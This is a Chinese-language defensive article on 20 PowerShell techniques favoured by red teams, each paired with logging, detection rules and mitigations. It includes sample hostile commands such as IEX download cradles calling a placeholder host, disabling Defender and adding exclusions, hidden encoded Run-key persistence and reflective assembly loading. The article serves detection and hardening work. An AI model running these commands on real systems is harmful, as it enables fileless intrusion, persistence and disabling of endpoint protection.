文章目录
- 写在前面
- 一、先把战场铺平:PowerShell 的可观测性
- 1.1 必须开启的日志
- 1.2 红队也懂日志,所以你会看到这些对抗
- 1.3 合法基线要先建立
- 二、红队最爱用的 20 条(类)命令与蓝队检测
- 第 1 条:绕过执行策略 —— `-ExecutionPolicy Bypass`
- 第 2 条:隐藏窗口 —— `-WindowStyle Hidden`
- 第 3 条:编码命令 —— `-EncodedCommand` / `-enc`
- 第 4 条:经典下载摇篮 —— `DownloadString` + `IEX`
- 第 5 条:`Invoke-WebRequest` / `Invoke-RestMethod`
- 第 6 条:`Invoke-Expression`(IEX)家族
- 第 7 条:从 Base64 / 字节数组反射加载
- 第 8 条:AMSI / 日志相关“软关闭”尝试
- 第 9 条:本机侦察 —— `Get-Process` / `Get-Service` / `Get-ChildItem`
- 第 10 条:权限与令牌勘察 —— `whoami` 的 PowerShell 等价
- 第 11 条:WMI/CIM 信息收集与执行
- 第 12 条:域侦察 —— AD 模块 / 目录查询
- 第 13 条:WinRM 远程 —— `Enter-PSSession` / `Invoke-Command`
- 第 14 条:凭据对象与明文密码出现在命令行
- 第 15 条:计划任务 / 服务式持久化
- 第 16 条:注册表 Run 键与启动项
- 第 17 条:关掉或掏空 Defender —— `Set-MpPreference` / 排除项
- 第 18 条:文件与共享 —— `New-PSDrive` / `Copy-Item` / `Get-Acl`
- 第 19 条:沙箱逃逸式“活在别的宿主里”
- 第 20 条:一句话“套娃” —— 从 cmd 再拉起 PowerShell
- 三、把 20 条收成蓝队作战手册
- 3.1 高置信度“组合拳”规则(推荐)
- 3.2 分级响应
- 3.3 狩猎查询思路(伪查询)
- 四、红队视角:为什么“仍爱 PowerShell”
- 五、架构级减伤:比规则更重要的六件事
- 六、合法演练怎么组织
- 七、结语
- 附录:20 条速查表
写在前面
PowerShell 是微软给管理员的瑞士军刀,也是红队在 Windows 环境里最顺手的“活在内存里的指挥壳”。它不需要额外落地大型木马,就能完成:信息收集、下载执行、横向移动、权限维持、关掉防护、搬运凭据——而且大量操作看起来像“运维脚本”。
这造成一个尴尬事实:
蓝队若只按“黑名单杀 EXE”,会对 PowerShell 视而不见;
若简单“禁用 PowerShell”,又会把自动化运维一起打死。
正确做法是:允许合法管理,把异常用法变成高置信度检测。
本文挑选红队(及真实入侵)中出现频率最高的20 类命令/用法,逐条说明:
- 攻击者为什么用它
- 典型命令形态(教学级,不含完整武器化载荷)
- 蓝队看什么日志、打什么规则
- 如何从架构上减伤
适用对象:蓝队、SOC、终端安全、授权红队、Windows 运维安全。
所有技术仅用于授权评估与防护建设;未授权对他人系统使用即违法。
一、先把战场铺平:PowerShell 的可观测性
没有日志的检测都是玄学。开始 20 条之前,先确认这四层已开:
1.1 必须开启的日志
| 日志 | 作用 |
|---|---|
| 模块日志(Module Logging) | 记录加载的模块与部分管道活动 |
| 脚本块日志(Script Block Logging,Event ID 4104) | 记录实际执行的脚本块(含解码后的部分内容) |
| 转录(Transcription,可选) | 类似会话录像,注意敏感信息与存储 ACL |
| 进程创建审计 / Sysmon Event 1 | 看到powershell.exe/pwsh.exe的命令行、父进程、用户、哈希 |
| WinRM / 安全登录日志 | 远程 PowerShell 的来源与账户 |
组策略位置(示意):
管理模板 → Windows 组件 → Windows PowerShell - 打开模块日志记录 - 打开 PowerShell 脚本块日志记录 - 打开 PowerShell 转录1.2 红队也懂日志,所以你会看到这些对抗
-EncodedCommand/ Base64 混淆- 从剪贴板、环境变量、WMI 属性里拼出真正脚本
- 调用
powershell -Version 2(老环境)降低日志能力 - 用
InstallUtil、msbuild、csi等“非 powershell.exe”宿主跑 .NET(无文件) - 混淆、字符串拼接、反射加载
因此蓝队规则不能只写commandline contains DownloadString,还要看:父进程、用户身份、是否交互、是否远程、脚本块内容、网络目标、后续行为。
1.3 合法基线要先建立
在告警风暴前,先回答:
- 哪些服务器允许 WinRM?
- 哪些账号会跑自动任务里的 PowerShell?
- 软件分发是否用 SYSTEM 跑签名脚本?
- 开发机是否允许无约束 PowerShell?
把“正常”画出来,“异常”才出得来。
二、红队最爱用的 20 条(类)命令与蓝队检测
说明:下列“典型形态”为教学示例,用于识别模式;生产环境请用企业检测平台落地,并配合变更白名单。
第 1 条:绕过执行策略 ——-ExecutionPolicy Bypass
红队用法
powershell.exe-NoProfile-ExecutionPolicy Bypass-File.\a.ps1 powershell.exe-ep bypass-nop-w hidden-c"..."执行策略本来就不是安全边界(可绕过是设计现实),但红队几乎每次都会带-ep bypass -nop,因为省事。
蓝队检测
- 命令行同时出现:
bypass+hidden+nop/NoProfile - 父进程是 Office、浏览器、
wscript、mshta、邮件客户端 - 业务服务器上突然出现交互式 bypass
减伤
- 用AppLocker/WDAC限制脚本,而不是迷信 ExecutionPolicy
- 对
powershell.exe命令行做基线:运维包装器允许,用户进程不允许
第 2 条:隐藏窗口 ——-WindowStyle Hidden
红队用法
powershell.exe-WindowStyle Hidden-c"..."用户看不见黑框,配合持久化与远控极常见。
蓝队检测
-w hidden/-WindowStyle Hidden与网络下载、编码命令同现- 非 SYSTEM/非软件分发账号使用 hidden
减伤
- 终端策略:标准用户禁止随意启动隐藏 PowerShell(可用 WDAC 发布者规则 + 路径规则组合)
第 3 条:编码命令 ——-EncodedCommand/-enc
红队用法
把脚本 Universal Binary Base64 后:
powershell.exe-enc <Base64Blob>目的:躲简单字符串匹配、躲命令行审计里的明文关键词。
蓝队检测
- 命令行含
-enc/-EncodedCommand且后跟长 Base64 - 不要停在这里:对 Base64 做解码后二次匹配(很多 EDR/SIEM 支持)
- 对照 4104 脚本块日志,常能看到还原后的内容
减伤
- 高价值系统:对
-enc默认告警,仅白名单自动化账号例外 - 强制脚本块日志,避免“只看见一串编码”
第 4 条:经典下载摇篮 ——DownloadString+IEX
红队用法(模式)
IEX(New-ObjectNet.WebClient).DownloadString('http://example/a.ps1')这是过去十年被写进无数教程的“一句话加载”。现在常变形为:
DownloadData/DownloadFileInvoke-WebRequest/Invoke-RestMethod- .NET
HttpClient - 从磁盘/注册表/图片隐写读取后再
IEX
蓝队检测
- 脚本块/命令行出现:
DownloadString、DownloadData、IEX、Invoke-Expression powershell.exe后立刻对公网 IP/新域名建立连接(Sysmon 3 / EDR 网络)- 证书/智能屏幕未覆盖的 HTTP 明文下载
减伤
- 限制工作站出站到脚本托管类站点
- ASR:阻止混淆脚本、阻止 Office 创建子进程
- 对服务器默认禁止随意出站
第 5 条:Invoke-WebRequest/Invoke-RestMethod
红队用法
Invoke-WebRequesthttps://example/file-OutFile$env:TEMP\x.exeInvoke-RestMethodhttps://example/api|Invoke-Expression更“现代”、更像运维,也常用于拉取第二阶段。
蓝队检测
IWR/IRM/Invoke-WebRequest写入%TEMP%、%PUBLIC%、用户目录后立即执行- 非变更窗口的服务器发起外连下载
减伤
- 软件安装只走分发系统;工作站启用 Network Protection / URL 过滤
第 6 条:Invoke-Expression(IEX)家族
红队用法
Invoke-Expression$code$code|IEX&([scriptblock]::Create($code))本质:把字符串当代码跑,是无文件执行的枢纽。
蓝队检测
- 4104 中出现
Invoke-Expression/IEX/ScriptBlock::Create - 与拼接字符串、
FromBase64String、反射加载连用时升为高危
减伤
- Constrained Language Mode(与 WDAC 配合)可大幅削弱任意代码能力
- 对服务器运维脚本:签名 + 受限语言,拒绝交互 IEX
第 7 条:从 Base64 / 字节数组反射加载
红队用法(模式)
$bytes=[Convert]::FromBase64String('...')[System.Reflection.Assembly]::Load($bytes)# 或 Add-Type、UnsafeLoad 等变体用于加载 .NET 程序集,常接工具化能力(侦察、横向、票据等)。
蓝队检测
FromBase64String+Assembly.Load/Load(同脚本块- 随后出现异常网络、LSASS 访问、服务创建等
减伤
- AMSI(Anti-Malware Scan Interface)对不少脚本阶段有效,勿随意关
- 启用 Tamper Protection,防止攻击者关 AMSI/Defender
- WDAC 限制可加载程序集
第 8 条:AMSI / 日志相关“软关闭”尝试
红队意图
在内存里绕过或削弱 AMSI、干扰脚本块日志(具体手法随补丁快速变化)。
蓝队检测
- 脚本中出现对
AmsiUtils、amsiInitFailed等敏感类型/字段的反射访问(高置信) - 短时间内 Defender/AMSI 功能状态被改
- 4104 突然大量缺失却有 powershell 进程(日志完整性监控)
减伤
- Tamper Protection + EDR 传感器双开
- 把“禁用脚本日志 / 禁用实时监控”的注册表与策略更改做紧急告警
不在此展开绕过实现;防守重点是:改防护配置本身就是最高级告警。
第 9 条:本机侦察 ——Get-Process/Get-Service/Get-ChildItem
红队用法
Get-ProcessGet-Service|Where-ObjectStatus-eq'Running'Get-ChildItemC:\Users-Recurse-Include*.config,*.xml,*.kdbx-ErrorAction SilentlyContinue看似无害,实则在找:安全产品、可写服务、配置文件里的密码、浏览器目录等。
蓝队检测
- 单次会话内高频枚举磁盘 + 敏感扩展名
- 从 WebShell/未知父进程拉起的大规模
Get-ChildItem -Recurse - 访问多个用户 Profile 的 ACL 异常
减伤
- 敏感文件 ACL 收紧;密钥进保险库,不进共享目录明文
- 对服务器禁止交互式登录到业务账户
第 10 条:权限与令牌勘察 ——whoami的 PowerShell 等价
红队用法
whoami/priv whoami/groups[Security.Principal.WindowsIdentity]::GetCurrent()|Format-ListGet-LocalGroupMemberAdministrators决定下一步走服务劫持、令牌模拟还是要域管。
蓝队检测
- 同一用户短时间执行
whoami /priv、本地管理员枚举、网络探测 - 来自应用池、IIS、SQL、CI 账户的 whoami/特权查询
减伤
- 应用池账户剥离交互与无关特权
- 对服务账户的特权使用审计
第 11 条:WMI/CIM 信息收集与执行
红队用法
Get-CimInstanceWin32_OperatingSystemGet-CimInstanceWin32_Service|SelectName,PathName,StartNameInvoke-CimMethod...# 远程创建等(需权限)Get-WmiObjectWin32_Process既用于侦察(服务路径、杀软、补丁),也用于远程执行(Win32_Process.Create 等老手法)。
蓝队检测
- 异常用户发起远程 WMI/CIM
- 脚本块含
Win32_Process+Create - 与横向目标列表同现
减伤
- 限制远程 DCOM/WMI 管理入口到跳板
- 优先 WinRM over HTTPS + JEA,而不是对全网开放 WMI
第 12 条:域侦察 —— AD 模块 / 目录查询
红队用法
Get-ADUser-Filter*-Properties*Get-ADComputer-Filter*Get-ADGroupMember"Domain Admins"# 无 RSAT 时用 DirectorySearcher / LDAP 查询等价信息这是域内红队的“地图绘制”。BloodHound 类数据很多也来自类似枚举(不一定用纯 PowerShell)。
蓝队检测
- 非 DC/非堡垒机账户短时间大量 LDAP 查询
- 枚举
Domain Admins、Enterprise Admins、SPN、ACL 异常读取 - 工作站突发安装 RSAT 或加载 AD 模块
减伤
- 监控 LDAP 搜索量与异常调用方
- AdminSDHolder、特权组变更实时告警
- 普通用户机器禁止安装管理工具包(按策略)
第 13 条:WinRM 远程 ——Enter-PSSession/Invoke-Command
红队用法
Enter-PSSession-ComputerName APP01Invoke-Command-ComputerName APP01,APP02-ScriptBlock{whoami}这是最像正运维的横向方式,也是最难单靠字符串查杀的。
蓝队检测
- 看谁从哪台打到哪些目标:来源是否为跳板
- 非运维时间、非变更单账号的扇出式
Invoke-Command - 远程脚本块内含下载、编码、关防护
减伤
- WinRM 仅开放给管理子网;启用 HTTPS
- JEA(Just Enough Administration)把远程能力缩到命令白名单
- 特权账户只能从 PAW 发起
第 14 条:凭据对象与明文密码出现在命令行
红队用法(不良示范模式)
$p=ConvertTo-SecureString'P@ssw0rd'-AsPlainText-Force$c=New-ObjectPSCredential('domain\user',$p)Start-Processcmd-Credential$c或直接把密码写进脚本、任务、DSC 配置。
蓝队检测
- 命令行/脚本块出现
-AsPlainText、明文密码模式 - 任务计划程序 XML 中可逆密码
- 代码仓库与共享盘扫描
ConvertTo-SecureString
减伤
- 强制用 gMSA、LAPS、密码库、证书认证
- CI 密钥扫描;禁止明文进库
- 对含
-AsPlainText的 4104 默认高危(白名单签发脚本除外)
第 15 条:计划任务 / 服务式持久化
红队用法
Register-ScheduledTask...# 或以 schtasks 包装New-Service-Name'Updater'-BinaryPathName'...'sc.exe create...PowerShell 负责“一次配置,长期复活”。
蓝队检测
- 新增任务动作指向
powershell -enc/ 用户 Temp 目录 - SYSTEM 任务被非变更流程创建
- 服务路径改为脚本解释器
减伤
- 服务与任务变更进 SIEM
- 任务目录 ACL;SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule 监控
第 16 条:注册表 Run 键与启动项
红队用法
New-ItemProperty-Path'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'`-Name'Sync'-Value'powershell -w hidden -enc ...'用户级持久化,不需要管理员。
蓝队检测
- Run/RunOnce 写入含 powershell/cmd/mshta/wscript
- Sysmon 13 注册表事件 + 进程创建关联
减伤
- 登录脚本与 Run 键基线对比
- 用户无法写机器级 Run;HKCU 用行为检测兜底
第 17 条:关掉或掏空 Defender ——Set-MpPreference/ 排除项
红队用法
Set-MpPreference-DisableRealtimeMonitoring$trueAdd-MpPreference-ExclusionPath'C:\Tools'Add-MpPreference-ExclusionProcess'powershell.exe'目标:让后续工具畅通无阻。现代系统有 Tamper Protection,会阻止部分本地关闭——于是攻击者改打排除项、策略、或先提权。
蓝队检测
- 任何
DisableRealtimeMonitoring、DisableIOAVProtection、ExclusionProcess含解释器 - 排除路径变为整盘或
\Users\*\AppData - 与本地管理员提权时间线吻合
减伤
- Tamper Protection 强制开
- 排除项仅中央策略下发,本地更改告警并回滚
- 把“添加排除”当 P1 事件
第 18 条:文件与共享 ——New-PSDrive/Copy-Item/Get-Acl
红队用法
New-PSDrive-Name S-PSProvider FileSystem-Root'\\dc01\sysvol'Copy-Item\\jump\share\tools.ps1$env:TEMPGet-AclC:\Sensitive|Format-List用于搬工具、读 SYSVOL 脚本(找密码)、评估是否能写服务目录。
蓝队检测
- 工作站访问大量 UNC、尤其 SYSVOL/NETLOGON 后下载脚本
- 敏感目录 ACL 枚举后紧接写入
减伤
- SYSVOL 脚本禁止存密码(用 gMSA/密钥方案)
- 文件服务器启用审计与 DLP
第 19 条:沙箱逃逸式“活在别的宿主里”
红队用法(概念)
不一定直接打powershell.exe,而是:
powershell_isepwsh(PowerShell 7)- 通过
rundll32、msbuild、regsvr32、自定义 .NET 宿主执行等价能力
目的:躲只监控powershell.exe的规则。
蓝队检测
- 以脚本块日志 / AMSI 为中心,而不是只盯进程名
- 监控
pwsh.exe与异常父进程 - 对“办公进程 → 开发编译器 → 网络”链告警
减伤
- WDAC:拒绝临时编译与未批准宿主
- 开发工具仅安装在开发 OU
第 20 条:一句话“套娃” —— 从 cmd 再拉起 PowerShell
红队用法
cmd.exe /c powershell -nop -w hidden -ep bypass -c "IEX(...)"或由 VBA、HTA、快捷方式、计划任务多层包装。
邮件钓鱼里极常见。
蓝队检测
- 父进程链:
outlook → winword → cmd → powershell - Office 子进程 ASR 规则命中
- 命令行长度异常、含 URL、enc、IEX
减伤
- ASR:阻止 Office 创建子进程
- 宏仅签名;互联网宏禁用
- 邮件沙箱与附件拆解
三、把 20 条收成蓝队作战手册
3.1 高置信度“组合拳”规则(推荐)
单点容易误报,组合更稳:
- Hidden + Bypass + EncodedCommand
- IEX + Download*
- FromBase64String + Assembly.Load
- Set-MpPreference 关闭防护 / 排除解释器
- Office/浏览器 为父进程的 powershell
- 非跳板机扇出 Invoke-Command
- 服务账户执行 whoami /priv + 网络扫描
- Run 键写入 powershell -enc
3.2 分级响应
| 级别 | 例子 | 动作 |
|---|---|---|
| P1 | 关 Defender、Load 反射 + LSASS 访问 | 隔离主机、收内存与日志 |
| P2 | 下载摇篮、enc 长命令 | 杀进程树、查持久化、强制扫描 |
| P3 | 域枚举过量 | 禁账户、查来源、重置密码 |
| 信息 | 运维跳板正常 Invoke-Command | 基线白名单 |
3.3 狩猎查询思路(伪查询)
查找 24h 内: Image IN (powershell.exe, pwsh.exe) AND ( CommandLine CONTAINS_ANY ('-enc','DownloadString','FromBase64String','Set-MpPreference') OR ParentImage CONTAINS_ANY ('winword','excel','outlook','mshta','wscript') ) AND User NOT IN (SoftwareDeploy, ApprovedAutomation)再 join:
- 同主机 Sysmon 网络出站
- 4104 脚本块关键词
- 随后 1 小时内服务/任务变更
四、红队视角:为什么“仍爱 PowerShell”
即使 EDR 很强,PowerShell 仍被爱用,因为:
- 环境原生:目标机器几乎都有。
- 管理协议复用:WinRM、WMI、AD,与运维同路。
- 内存友好:少落盘、易链式加载。
- 社交不违和:对日志不熟的单位,脚本流量像运维。
- 跨阶段复用:从钓鱼到域控,同一语言贯穿。
所以红队不会因为“有检测”就弃用,而会:
- 换宿主、换编码、换下载通道、换合法账号;
- 把操作拆进变更窗口;
- 或改用 C#/BOF/系统自带二进制(LOLBins)。
蓝队的目标不是“让红队不用 PowerShell”,而是:用同样用 PowerShell 时,攻击成本显著高于运维成本。
五、架构级减伤:比规则更重要的六件事
- 本地管理员收回 + LAPS
- WDAC/AppLocker + Constrained Language Mode(高价值系统)
- PowerShell 日志三件套 + 集中转发
- Tamper Protection + 排除项中央治理
- WinRM 仅跳板 + JEA
- ASR 对 Office/脚本链路 Block
规则是牙齿,架构是下颚。只有牙齿会咬空。
六、合法演练怎么组织
- 搭隔离域,开齐 4104 与 Sysmon。
- 红队只用清单内技术,禁止对真实外网下发恶意软件。
- 蓝队先盲猎,再对照红队时间线补规则。
- 每次演练输出:
- 哪些命令被清晰捕获
- 哪些只靠父进程链抓住
- 哪些完全漏报(往往是合法账号+合法 WinRM)
- 把漏报转成 JEA/网络隔离任务,而不是无限加关键词。
七、结语
PowerShell 攻防的本质,不是背诵 20 条命令,而是理解:
它是管理平面的编程入口。
红队爱它,因为入口已存在;蓝队怕它,因为入口与业务同构。
本文的 20 条,覆盖了从执行策略绕过、编码下载、反射加载,到域侦察、WinRM 横向、凭据与持久化、破坏防护的主路径。你可以立刻做三件极具体的事:
- 检查试点 OU 是否真正启用脚本块日志并已进入 SIEM;
- 写 5 条以上文“组合拳”规则,用历史日志回放;
- 给 WinRM 画一张“谁允许打谁”的图,把扇出式
Invoke-Command变成默认可疑。
当命令行、脚本块、父进程、网络、防护配置变更能被串成故事时,PowerShell 就不再是红队的黑盒,而是蓝队最清晰的叙事线之一。
附录:20 条速查表
| # | 红队手法 | 蓝队第一眼 |
|---|---|---|
| 1 | -ExecutionPolicy Bypass | bypass+异常父进程 |
| 2 | -WindowStyle Hidden | hidden+下载/enc |
| 3 | -EncodedCommand | -enc + 解码二次匹配 |
| 4 | DownloadString+IEX | 下载摇篮+出站 |
| 5 | Invoke-WebRequest | TEMP 落地+执行 |
| 6 | Invoke-Expression | 4104 中 IEX |
| 7 | Assembly.Load | Base64+反射 |
| 8 | 削弱 AMSI/日志 | 防护配置变更 |
| 9 | 广谱文件枚举 | 敏感扩展名递归 |
| 10 | whoami /priv | 服务账户侦察 |
| 11 | WMI/CIM | 远程创建进程 |
| 12 | AD 枚举 | LDAP 暴增 |
| 13 | Invoke-Command | 非跳板扇出 |
| 14 | 明文SecureString | AsPlainText |
| 15 | 计划任务/服务 | 动作含 powershell |
| 16 | Run 键 | 启动项写 enc |
| 17 | Set-MpPreference | 关防护/宽排除 |
| 18 | UNC/SYSVOL 搬运 | 异常共享访问 |
| 19 | 非 powershell 宿主 | 多宿主+AMSI |
| 20 | cmd 套娃 | Office→cmd→ps |